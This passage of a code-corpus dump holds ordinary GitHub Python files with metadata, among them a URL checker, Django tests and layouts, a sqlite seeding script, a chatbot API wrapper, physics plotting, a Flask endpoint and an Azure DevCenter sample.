"glance.common.timeutils", "line_number": 297, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 304, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 304, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 318, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 318, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 321, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 321, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 329, "usage_type": "call"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 335, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 335, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 338, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 338, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 347, "usage_type": "call"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 353, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 353, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 356, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 356, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 368, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 368, "usage_type": "name"}, {"api_name": "glance.common.timeutils.utcnow", "line_number": 371, "usage_type": "call"}, {"api_name": "glance.common.timeutils", "line_number": 371, "usage_type": "name"}, {"api_name": "glance.i18n._LI", "line_number": 375, "usage_type": "call"}, {"api_name": "glance.i18n._LI", "line_number": 377, "usage_type": "call"}, {"api_name": "sqlalchemy.exc", "line_number": 384, "usage_type": "attribute"}, {"api_name": "glance.i18n._LW", "line_number": 386, "usage_type": "call"}, {"api_name": "sqlalchemy.exc", "line_number": 395, "usage_type": "attribute"}, {"api_name": "glance.i18n._LW", "line_number": 396, "usage_type": "call"}, {"api_name": "sqlalchemy.and_", "line_number": 404, "usage_type": "call"}, {"api_name": "sqlalchemy.exc", "line_number": 410, "usage_type": "attribute"}, {"api_name": "glance.i18n._LW", "line_number": 411, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 422, "usage_type": "call"}, {"api_name": "re.UNICODE", "line_number": 422, "usage_type": "attribute"}, {"api_name": "json.loads", "line_number": 465, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 474, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 491, "usage_type": "call"}, {"api_name": "glance.i18n._LI", "line_number": 492, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 494, "usage_type": "call"}, {"api_name": "oslo_utils.encodeutils.exception_to_unicode", "line_number": 496, "usage_type": "call"}, {"api_name": "oslo_utils.encodeutils", "line_number": 496, "usage_type": "name"}, {"api_name": "glance.i18n._LI", "line_number": 497, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.MetaData", "line_number": 503, "usage_type": "call"}, {"api_name": "glance.i18n._LE", "line_number": 506, "usage_type": "call"}, {"api_name": "glance.i18n._LE", "line_number": 511, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.MetaData", "line_number": 521, "usage_type": "call"}, {"api_name": "sqlalchemy.schema.MetaData", "line_number": 528, "usage_type": "call"}]} +{"seq_id": "34520927475", "text": "#2 给定一组数据网址数据，请判断这些网址是否可以访问； 用多线程的方式来实现；\n #请查资料，Python的 requests库，如何判断一个网址可以访问；\n#提示 ：使用requests模块\nimport threading,re,requests\nfrom multiprocessing.pool import ThreadPool\n\nwith open(r\"D:\\PPython\\text1\\data11.txt\")as f1:\n u1 = f1.readlines()\n\ndef ght(url):\n try: \n r = requests.get(url,timeout = 5) \n r.raise_for_status()\n print(\"%s访问成功\" %url)\n except:\n print(\"%s产生异常\" %url)\n\nif __name__ == '__main__':\n t = ThreadPool(10)\n for i in range(len(u1)):\n gur = re.compile(r'[a-zA-Z]+://[^\\s]*[.com|.cn]')\n ret = re.findall(gur, u1[i])\n for i in range(len(ret)):\n t.apply_async(ght,(ret[i],))\n t.close()\n t.join()", "repo_name": "2082033549/FCXPYN", "sub_path": "homework8/pdfw.py", "file_name": "pdfw.py", "file_ext": "py", "file_size_in_byte": 843, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "requests.get", "line_number": 12, "usage_type": "call"}, {"api_name": "multiprocessing.pool.ThreadPool", "line_number": 19, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 21, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "41568972136", "text": "from django.test import TestCase\nfrom user.models import User, PrimaryPhoneDevice\n\nclass UserTest(TestCase):\n \"\"\"\n Test Cases for User Model.\n \"\"\"\n def setUp(self):\n \"\"\"\n Create User for every TestCase.\n \"\"\"\n self.first_name = 'test'\n self.email = 'test@gmail.com'\n self.phone = '+919988776655'\n self.usr = User.objects.create(\n first_name = self.first_name,\n email = self.email,\n phone_number = self.phone\n )\n\n def tearDown(self):\n \"\"\"\n Delete all User after execution of TestCases.\n \"\"\"\n User.objects.all().delete()\n\n def test_user_creation(self):\n \"\"\"\n Test case for creation of User model.\n \"\"\"\n self.assertTrue(isinstance(self.usr, User))\n self.assertEqual(self.usr.__str__(),self.email)\n self.assertIsNotNone(self.usr)\n self.assertTrue(self.usr.phone_number.national_number, \"9988776655\")\n self.assertEqual(User.objects.get(first_name=self.first_name).email, self.email)\n", "repo_name": "premwagh/Project-Archive", "sub_path": "src/user/tests/test_models.py", "file_name": "test_models.py", "file_ext": "py", "file_size_in_byte": 1068, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "django.test.TestCase", "line_number": 4, "usage_type": "name"}, {"api_name": "user.models.User.objects.create", "line_number": 15, "usage_type": "call"}, {"api_name": "user.models.User.objects", "line_number": 15, "usage_type": "attribute"}, {"api_name": "user.models.User", "line_number": 15, "usage_type": "name"}, {"api_name": "user.models.User.objects.all", "line_number": 25, "usage_type": "call"}, {"api_name": "user.models.User.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "user.models.User", "line_number": 25, "usage_type": "name"}, {"api_name": "user.models.User", "line_number": 31, "usage_type": "argument"}, {"api_name": "user.models.User.objects.get", "line_number": 35, "usage_type": "call"}, {"api_name": "user.models.User.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "user.models.User", "line_number": 35, "usage_type": "name"}]} +{"seq_id": "15520647660", "text": "from django.shortcuts import reverse\n\nfrom applications.common.layouts.base import BaseLayout\n\n\nclass ProfileLayout(BaseLayout):\n def __init__(self, *args, **kwargs):\n super(ProfileLayout, self).__init__(*args, **kwargs)\n\n self.form_action = reverse(\"users:profile\")\n self.make_layout()\n\n def make_layout(self):\n self.layout.fields.append(\n self.make_row([\n \"first_name\",\n ])\n )\n\n self.layout.fields.append(\n self.make_row([\n \"last_name\",\n ])\n )\n\n self.layout.fields.append(\n self.make_row([\n \"email\",\n ])\n )\n\n self.make_hr_row()\n\n self.make_right_buttons([\n self.make_button(label=\"Guardar\", awesome_icon=\"fas fa-plus\", css_class=\"btn-success\"),\n ])\n", "repo_name": "arielcalzadadeveloper/django-base-project", "sub_path": "applications/users/layouts/profile.py", "file_name": "profile.py", "file_ext": "py", "file_size_in_byte": 863, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "applications.common.layouts.base.BaseLayout", "line_number": 6, "usage_type": "name"}, {"api_name": "django.shortcuts.reverse", "line_number": 10, "usage_type": "call"}]} +{"seq_id": "39250776000", "text": "import sqlite3\n\nconn = sqlite3.connect('food.sqlite')\ncur = conn.cursor()\n\ncur.execute('''CREATE TABLE IF NOT EXISTS angry\n (SrNo TEXT, fooditem TEXT)''')\n\ncur.execute('''CREATE TABLE IF NOT EXISTS fear\n (SrNo TEXT, fooditem TEXT)''')\n\ncur.execute('''CREATE TABLE IF NOT EXISTS happy\n (SrNo TEXT, fooditem TEXT)''')\n\ncur.execute('''CREATE TABLE IF NOT EXISTS sad\n (SrNo TEXT, fooditem TEXT)''')\n\ncur.execute('''CREATE TABLE IF NOT EXISTS surprised\n (SrNo TEXT, fooditem TEXT)''')\n\ncur.execute('''CREATE TABLE IF NOT EXISTS disgust\n (SrNo TEXT, fooditem TEXT)''')\n\nangry = ['seeds','carrots','milk','yogurt','beans','blueberries','pistachios','nuts','whole%20grain','dark%20chocolates','green%20tea','Avocado','Banana','Green%20leafy%20vegetables','fish']\n\nfear = ['seeds', 'oats', 'beans', 'lentils', 'eggs', 'whole grain food', 'blueberries', 'seaweed', 'chocolate', 'spinach', 'orange', 'nuts', 'Tea', 'coconut', 'tofu', 'cheese', 'red meat', 'chicken', 'fish', 'turkey']\n\nhappy = ['potato', 'cheese', 'red pepper', 'coconut', 'chocolate', 'seeds', 'beef', 'yogurt', 'asparagus', 'honey', 'tomato', 'chicken', 'Olive oil', 'spinach', 'flaxseed', 'salmon', 'crab', 'Banana', 'peas', 'sprouts', 'raisins', 'avocado', 'eggs', 'apricots', 'brocoli', 'lemons', 'tuna', 'nuts', 'mushroom', 'coffee', 'lentils', 'brown rice', 'oranges', 'beans', 'butter', 'whole%20grain%20food', 'seaweed', 'tea', 'blueberries', 'red%20wine']\n\nsad = ['diary', 'flaxseeds', 'nuts', 'salmon', 'tea', 'olive%20oil', 'avocado', 'leafy%20vegetables', 'oranges', 'dark%20chocolates', 'chicken', 'eggs', 'chickpeas', 'rice', 'fish', 'sweet%20potato', 'oats', 'beans', 'peas', 'lentils', 'banana']\n\nsurprised = ['whole%20grain%20food', 'fish', 'chicken', 'diary', 'beans', 'lentils']\n\ndisgust = ['flaxseeds', 'salmon', 'fish', 'tuna']\n\nfor every in range(0,len(angry)):\n cur.execute('insert into angry (SrNo, fooditem) values (?,?)',(str(every),str(angry[every]),))\n\nfor every in range(0,len(fear)):\n cur.execute('insert into fear (SrNo, fooditem) values (?,?)',(str(every),str(fear[every]),))\n\nfor every in range(0,len(happy)):\n cur.execute('insert into happy (SrNo, fooditem) values (?,?)',(str(every),str(happy[every]),))\n\nfor every in range(0,len(sad)):\n cur.execute('insert into sad (SrNo, fooditem) values (?,?)',(str(every),str(sad[every]),))\n\nfor every in range(0,len(surprised)):\n cur.execute('insert into surprised (SrNo, fooditem) values (?,?)',(str(every),str(surprised[every]),))\n\nfor every in range(0,len(disgust)):\n cur.execute('insert into disgust (SrNo, fooditem) values (?,?)',(str(every),str(disgust[every]),))\n\n\nconn.commit()\ncur.close()\n\n\n", "repo_name": "ayushgha/Food-Mood", "sub_path": "New_FOOD_MOOD/foodmood/foodmood/nutrient_analysis/nutrient_pre_processing/apiiii.py", "file_name": "apiiii.py", "file_ext": "py", "file_size_in_byte": 2667, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "sqlite3.connect", "line_number": 3, "usage_type": "call"}]} +{"seq_id": "18807023413", "text": "from re import findall\nfrom json import loads\nfrom queue import Queue, Empty\nfrom threading import Thread\nfrom curl_cffi import requests\n\nclass Completion:\n # experimental\n part1 = '{\"role\":\"assistant\",\"id\":\"chatcmpl'\n part2 = '\"},\"index\":0,\"finish_reason\":null}]}}'\n regex = rf'{part1}(.*){part2}'\n\n timer = None\n message_queue = Queue()\n stream_completed = False\n\n def request(prompt: str):\n headers = {\n 'authority': 'chatbot.theb.ai',\n 'content-type': 'application/json',\n 'origin': 'https://chatbot.theb.ai',\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36',\n }\n\n requests.post('https://chatbot.theb.ai/api/chat-process', headers=headers,\n content_callback = Completion.handle_stream_response,\n json = {\n 'prompt': prompt,\n 'options': {}\n }\n )\n\n Completion.stream_completed = True\n\n @staticmethod\n def create(prompt: str):\n Thread(target=Completion.request, args=[prompt]).start()\n\n while Completion.stream_completed != True or not Completion.message_queue.empty():\n try:\n message = Completion.message_queue.get(timeout=0.1)\n for message in findall(Completion.regex, message):\n yield loads(Completion.part1 + message + Completion.part2)['delta']\n\n except Empty:\n pass\n\n @staticmethod\n def handle_stream_response(response):\n Completion.message_queue.put(response.decode())\n", "repo_name": "Mj23978/sam-assistant", "sub_path": "sam/gpt/theb/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 1648, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 42, "dataset": "github-code", "pt": "54", "api": [{"api_name": "queue.Queue", "line_number": 14, "usage_type": "call"}, {"api_name": "curl_cffi.requests.post", "line_number": 25, "usage_type": "call"}, {"api_name": "curl_cffi.requests", "line_number": 25, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 37, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 42, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 43, "usage_type": "call"}, {"api_name": "queue.Empty", "line_number": 45, "usage_type": "name"}]} +{"seq_id": "3870768891", "text": "import tkinter as tk\nfrom PIL import Image \n\ndef update(ind):\n global root, label\n\n frame = frames[ind]\n ind += 1\n if ind == frameCnt:\n ind = 0\n label.configure(image=frame)\n root.after(100, update, ind)\n\n\nfile = Image.open('pigif.gif')\nframeCnt = file.n_frames\nroot = tk.Tk()\nframes = [tk.PhotoImage(file='pigif.gif', format = f'gif -index {i}') for i in range(frameCnt)]\nlabel = tk.Label(root)\nlabel.pack()\nroot.after(0, update, 0)\nroot.mainloop()", "repo_name": "ChienLady/Data-Science", "sub_path": "Estimate Pi/open_gif.py", "file_name": "open_gif.py", "file_ext": "py", "file_size_in_byte": 475, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "PIL.Image.open", "line_number": 15, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 15, "usage_type": "name"}, {"api_name": "tkinter.Tk", "line_number": 17, "usage_type": "call"}, {"api_name": "tkinter.PhotoImage", "line_number": 18, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "73116000802", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport magpylib as magpy\n\nM = 6335/(4*1.26) # magnetization (mT)\nD = .5*25.4 # diameter (mm)\nL = .75*25.4 # length (mm)\n\ndef Cylmag(loc,ori,d=D,l=L,m=M):\n\treturn magpy.source.magnet.Cylinder(mag=[0,0,ori*m],dim=[d,l],pos=loc)\n\nylocs = np.arange(0,11)*25.4 # mm, beam line locations\nzoffset = (2.5/2+.375)*25.4 # mm, radius of nipple plus half the magnet\nzlocs = [0,3,8,11,17,30,45,60,40,25,5] # mm, radial distances\nxoffset = .25*25.4 # mm, magnet radius for double stacked\noris = [1,1,1,1,1,1,1,1,-1,-1,-1]\n\nsources = {}\n\nfor i in range(11):\n\tif i in range(6,9):\n\t\tsources['{}tr'.format(i)] = Cylmag(loc=[xoffset,ylocs[i],zlocs[i]+zoffset],ori=oris[i])\n\t\tsources['{}br'.format(i)] = Cylmag(loc=[-xoffset,ylocs[i],zlocs[i]+zoffset],ori=oris[i])\n\t\tsources['{}tl'.format(i)] = Cylmag(loc=[xoffset,ylocs[i],-zlocs[i]-zoffset],ori=oris[i])\n\t\tsources['{}bl'.format(i)] = Cylmag(loc=[-xoffset,ylocs[i],-zlocs[i]-zoffset],ori=oris[i])\n\telse:\n\t\tsources['{}r'.format(i)] = Cylmag(loc=[0,ylocs[i],zlocs[i]+zoffset],ori=oris[i])\n\t\tsources['{}l'.format(i)] = Cylmag(loc=[0,ylocs[i],-zlocs[i]-zoffset],ori=oris[i])\n\nC = magpy.Collection()\n\nfor sc in sources:\n\tC.addSources(sources[sc])\n\n\nymin = 0 # mm\nymax = 11*25.4 # mm\nny = 100\nys = np.linspace(ymin,ymax,ny)\nY = [[0,y,0] for y in ys]\nBZy = C.getBsweep(Y) # mT\n\nplt.figure()\nplt.plot(ys/10,BZy[:,2]*10)\nplt.xlabel('Beamline Position (cm)')\nplt.ylabel('Z Magnetic Field (Gs)')\nplt.title('Beamline Z Magnetic Field')\nplt.axhline(0,color='g')\nB0 = 537 # Gs\nL0 = 26.6 # cm\nBg = B0/2 # Gs\ncalc = B0*(1-ys/(L0*10))**(1/2) - Bg\nplt.plot(ys/10,calc,color='r',linestyle='--')\n\n#zmin = -100 # mm\n#zmax = 100 # mm\n#nz = 100\n#zs = np.linspace(zmin,zmax,nz)\n#Z = [[0,0,z] for z in zs]\n#BZz = C.getBsweep(Z) # mT\n\n#plt.figure()\n#plt.plot(zs/25.4,BZz[:,2]*10)\n#plt.axvline(zoffset/25.4+.375)\n#plt.axvline(zoffset/25.4-.375)\n#plt.axvline(-zoffset/25.4+.375)\n#plt.axvline(-zoffset/25.4-.375)\n#plt.xlabel('Z Position (in)')\n#plt.ylabel('Z Magnetic Field (Gs)')\n#plt.title('Cross Beam Z Magnetic Field')\n\n#C.displaySystem()\n\nplt.show()", "repo_name": "hemmerlinglab/Zeeman_Calc", "sub_path": "zero_crossing_zeeman.py", "file_name": "zero_crossing_zeeman.py", "file_ext": "py", "file_size_in_byte": 2107, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "magpylib.source.magnet.Cylinder", "line_number": 10, "usage_type": "call"}, {"api_name": "magpylib.source", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 12, "usage_type": "call"}, {"api_name": "magpylib.Collection", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}]} +{"seq_id": "738610833", "text": "from torch.utils.data import Dataset\nimport random\nimport math\nimport torchvision\n\nclass SiameseDataset(Dataset):\n \"\"\"\n Train: For each sample creates randomly a positive or a negative pair\n Test: Creates fixed pairs for testing\n \"\"\"\n\n def __init__(self, dataset, train, poses, dist_thresh):\n self.dataset = dataset\n self.train = train\n self.poses = poses\n positive_pairs = []\n negative_pairs = []\n\n for i in range(len(self.dataset)):\n for j in range(len(self.dataset)):\n if i == j: continue\n else:\n if math.pow((poses[i][1] - poses[j][1]), 2) + math.pow((poses[i][2] - poses[j][2]), 2) < dist_thresh * dist_thresh:\n positive_pairs.append([i,j,1])\n else: \n negative_pairs.append([i,j,0]) \n\n random.shuffle(positive_pairs)\n random.shuffle(negative_pairs)\n negative_pairs = negative_pairs[:len(positive_pairs)]\n \n all_pairs = positive_pairs + negative_pairs\n split_idx = round(len(all_pairs) * 0.7) \n self.train_pairs = all_pairs[:split_idx]\n self.test_pairs = all_pairs[split_idx+1:]\n\n def __getitem__(self, index):\n if self.train:\n img1, img2, target = self.train_pairs[index]\n else:\n img1, img2, target = self.test_pairs[index]\n img1 = self.dataset[img1]\n img2 = self.dataset[img2]\n ## normalize data \n img1 /= img1.max()\n img2 /= img1.max()\n return (img1, img2), target\n\n def __len__(self):\n if self.train:\n return len(self.train_pairs)\n else:\n return len(self.test_pairs)", "repo_name": "haeyeoni/global-LeGO-LOAM", "sub_path": "train/train_dataset.py", "file_name": "train_dataset.py", "file_ext": "py", "file_size_in_byte": 1735, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "54", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 6, "usage_type": "name"}, {"api_name": "math.pow", "line_number": 23, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 28, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "29947031647", "text": "from rake_mecab import Rake\nimport logging\nimport argparse\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--text', type=str, default=\"\"\"\n AIチャットボット「りんな」などを手がけるrinna（リンナ）は4月7日、日本語に��化したGPT-2の大規模言語モデルを構築し、GitHubおよびNLPモデルライブラリー「HuggingFace」において、トレーニングコードと言語モデルをオープンソースソフトウェアとして公開した。\nまた今回公開したモデルは、GPT2-mediumと定義される中規模サイズのものという。今後、パフォーマンスとコストのトレードオフに基づいてユーザーおよび研究者が最善の選択を行えるよう、異なるサイズのモデルも公開する予定。異なるデータでトレーニングした新しいモデルの公開も計画している。\nrinnaの研究チームが開発している大規模な言語モデルは、すでに同社プロダクトに広く使用されているという。同社は今後も、異なるテキストスタイルや異なるデータ量を含む、より高精度でより大規模な言語モデルの研究開発を続け、AIチャットボットの能力を高めるとしている。また、日本語の研究コミュニティのために、これらのモデルのオープンソース化を行う。\n \"\"\")\n parser.add_argument('--pos', type=str, default=\"名詞\", help=\"POS tags should split by `,`\")\n args = parser.parse_args()\n\n # Initialize RAKE\n rk = Rake(\n stopwords=[], # <- You can add additional stopwords\n slothlib_stopwords=True, # If True, slothlib_stopwords are automatically added\n punctuations=None, # By default, string.punctuation + \"。、\"\n mecabtagger_path='-d /usr/local/lib/mecab/dic/mecab-ipadic-neologd', # mecab tagger path\n pos_list=args.pos.split(','),\n # RAKE parameter\n max_length=100000,\n min_length=1,\n )\n\n # If you have a string of text/documents, this can be used\n rk.extract_keywords_from_text(text=args.text)\n\n # get ordered phrases\n keywords = rk.get_ranked_phrases()\n for idx, keyword in enumerate(keywords):\n print(\"{0}) {1}\".format(idx+1, keyword))\n\n # get ordered phrases with scores\n # print(rk.get_ranked_phrases_with_scores())\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "mkshing/rake-mecab", "sub_path": "extract_keywords.py", "file_name": "extract_keywords.py", "file_ext": "py", "file_size_in_byte": 2479, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "logging.getLogger", "line_number": 5, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "rake_mecab.Rake", "line_number": 19, "usage_type": "call"}]} +{"seq_id": "5923462028", "text": "from flask import Flask, request, jsonify\nfrom flask_mysqldb import MySQL\nimport helper_functions.sanitation as help\n\n\ndef get_skis(mysql):\n if request.method == 'GET':\n cur = mysql.connection.cursor()\n modelname = help.sanitize_input(request.args.get('modelname'))\n size = help.sanitize_input_numbers(request.args.get('size'))\n \n if modelname and size:\n skis = cur.execute(\"SELECT model, type, size, description, MSRPP ,url_photo \\\n FROM `product` \\\n WHERE model = %s AND size = %s\", (modelname,size,))\n elif modelname:\n skis = cur.execute(\"SELECT model, type, size, description, MSRPP ,url_photo \\\n FROM `product` \\\n WHERE model = %s\", (modelname,))\n elif size:\n skis = cur.execute(\"SELECT model, type, size, description, MSRPP ,url_photo \\\n FROM `product` \\\n WHERE size = %s\", (size,))\n else: \n skis = cur.execute(\"SELECT model, type, size, description, MSRPP ,url_photo FROM `product`\")\n if skis > 0:\n skis = cur.fetchall()\n cur.close()\n return jsonify(skis), 200\n return \"Internal error in database\", 500", "repo_name": "oleelnes/idatg2204_databases_project", "sub_path": "src/endpoints/public/public.py", "file_name": "public.py", "file_ext": "py", "file_size_in_byte": 1220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "flask.request.method", "line_number": 7, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 7, "usage_type": "name"}, {"api_name": "helper_functions.sanitation.sanitize_input", "line_number": 9, "usage_type": "call"}, {"api_name": "helper_functions.sanitation", "line_number": 9, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 9, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 9, "usage_type": "name"}, {"api_name": "helper_functions.sanitation.sanitize_input_numbers", "line_number": 10, "usage_type": "call"}, {"api_name": "helper_functions.sanitation", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 10, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 10, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 10, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 29, "usage_type": "call"}]} +{"seq_id": "31111346972", "text": "import pyglet\nfrom pyglet.gl import *\nfrom . import stella\n\nwindow = pyglet.window.Window(visible=False, resizable=True)\n\nclass PygletColors(stella.Colors):\n def __init__(self):\n super(PygletColors, self).__init__()\n\n def set_color(self, r, g, b):\n return [r,g,b]\n\nclass PygletStella(stella.Stella):\n \"\"\" GUI layer for stella.\n \"\"\"\n def __init__(self, *args):\n # 'default_color' is used by stella init, need to set before super\n self.default_color = [0,0,0]\n self._colors = PygletColors()\n super(PygletStella, self).__init__(*args)\n\n def driver_open_display(self):\n # Enable alpha blending, required for image.blit.\n glEnable(GL_BLEND)\n glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA)\n\n window.width = stella.Stella.FRAME_WIDTH \n window.height = stella.Stella.FRAME_HEIGHT\n window.set_visible()\n\n def driver_update_display(self):\n self._draw_display()\n data = [x for line in self._display_lines[::-1] for colors in line for x in colors]\n rawdata = (GLubyte * len(data))(*data)\n rawimage = pyglet.image.ImageData(window.width, window.height, 'RGB', rawdata)\n rawimage.blit(0,0,0)\n\n window.switch_to()\n window.dispatch_events()\n window.dispatch_event('on_draw')\n window.flip()\n\n def driver_draw_display(self):\n pass\n", "repo_name": "ajgrah2000/pytari2600", "sub_path": "pytari2600/graphics/pygletstella.py", "file_name": "pygletstella.py", "file_ext": "py", "file_size_in_byte": 1375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "54", "api": [{"api_name": "pyglet.window.Window", "line_number": 5, "usage_type": "call"}, {"api_name": "pyglet.window", "line_number": 5, "usage_type": "attribute"}, {"api_name": "pyglet.image.ImageData", "line_number": 36, "usage_type": "call"}, {"api_name": "pyglet.image", "line_number": 36, "usage_type": "attribute"}]} +{"seq_id": "3547562572", "text": "import logging\nimport os\n\nfrom azure.developer.devcenter import DevCenterClient\nfrom azure.identity import DefaultAzureCredential\nfrom azure.core.exceptions import HttpResponseError\n\n\"\"\"\nFILE: create_devbox_sample.py\n\nDESCRIPTION:\n This sample demonstrates how to create, connect and delete a dev box using python DevCenterClient. For this sample,\n you must have previously configured DevCenter, Project, Network Connection, Dev Box Definition, and Pool.More details \n on how to configure those requirements at https://learn.microsoft.com/azure/dev-box/quickstart-configure-dev-box-service\n\n\nUSAGE:\n python create_devbox_sample.py\n\n Set the environment variables with your own values before running the sample:\n 1) DEVCENTER_ENDPOINT - the endpoint for your devcenter\n\"\"\"\n\ndef get_project_name(LOG, client):\n projects = list(client.projects.list_by_dev_center(top=1))\n return projects[0].name\n\n\ndef main():\n\n # Set the values of the dev center endpoint, client ID, and client secret of the AAD application as environment variables:\n # DEVCENTER_ENDPOINT, AZURE_CLIENT_ID, AZURE_CLIENT_SECRET\n try:\n endpoint = os.environ[\"DEVCENTER_ENDPOINT\"]\n except KeyError:\n raise ValueError(\"Missing environment variable 'DEVCENTER_ENDPOINT' - please set it before running the example\")\n\n # Build a client through AAD\n client = DevCenterClient(endpoint, credential=DefaultAzureCredential())\n\n # Fetch control plane resource dependencies\n projects = list(client.list_projects(top=1))\n target_project_name = projects[0][\"name\"]\n\n pools = list(client.list_pools(target_project_name, top=1))\n target_pool_name = pools[0][\"name\"]\n\n # Stand up a new dev box\n create_response = client.begin_create_dev_box(\n target_project_name, \"me\", \"Test_DevBox\", {\"poolName\": target_pool_name}\n )\n devbox_result = create_response.result()\n\n print(f\"Provisioned dev box with status {devbox_result['provisioningState']}.\")\n\n # Connect to the provisioned dev box\n remote_connection_response = client.get_remote_connection(target_project_name, \"me\", \"Test_DevBox\")\n print(f\"Connect to the dev box using web URL {remote_connection_response['webUrl']}\")\n\n # Tear down the dev box when finished\n delete_response = client.begin_delete_dev_box(target_project_name, \"me\", \"Test_DevBox\")\n delete_response.wait()\n print(\"Deleted dev box successfully.\")\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "Azure/azure-sdk-for-python", "sub_path": "sdk/devcenter/azure-developer-devcenter/samples/create_devbox_sample.py", "file_name": "create_devbox_sample.py", "file_ext": "py", "file_size_in_byte": 2463, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3916, "dataset": "github-code", "pt": "54", "api": [{"api_name": "os.environ", "line_number": 34, "usage_type": "attribute"}, {"api_name": 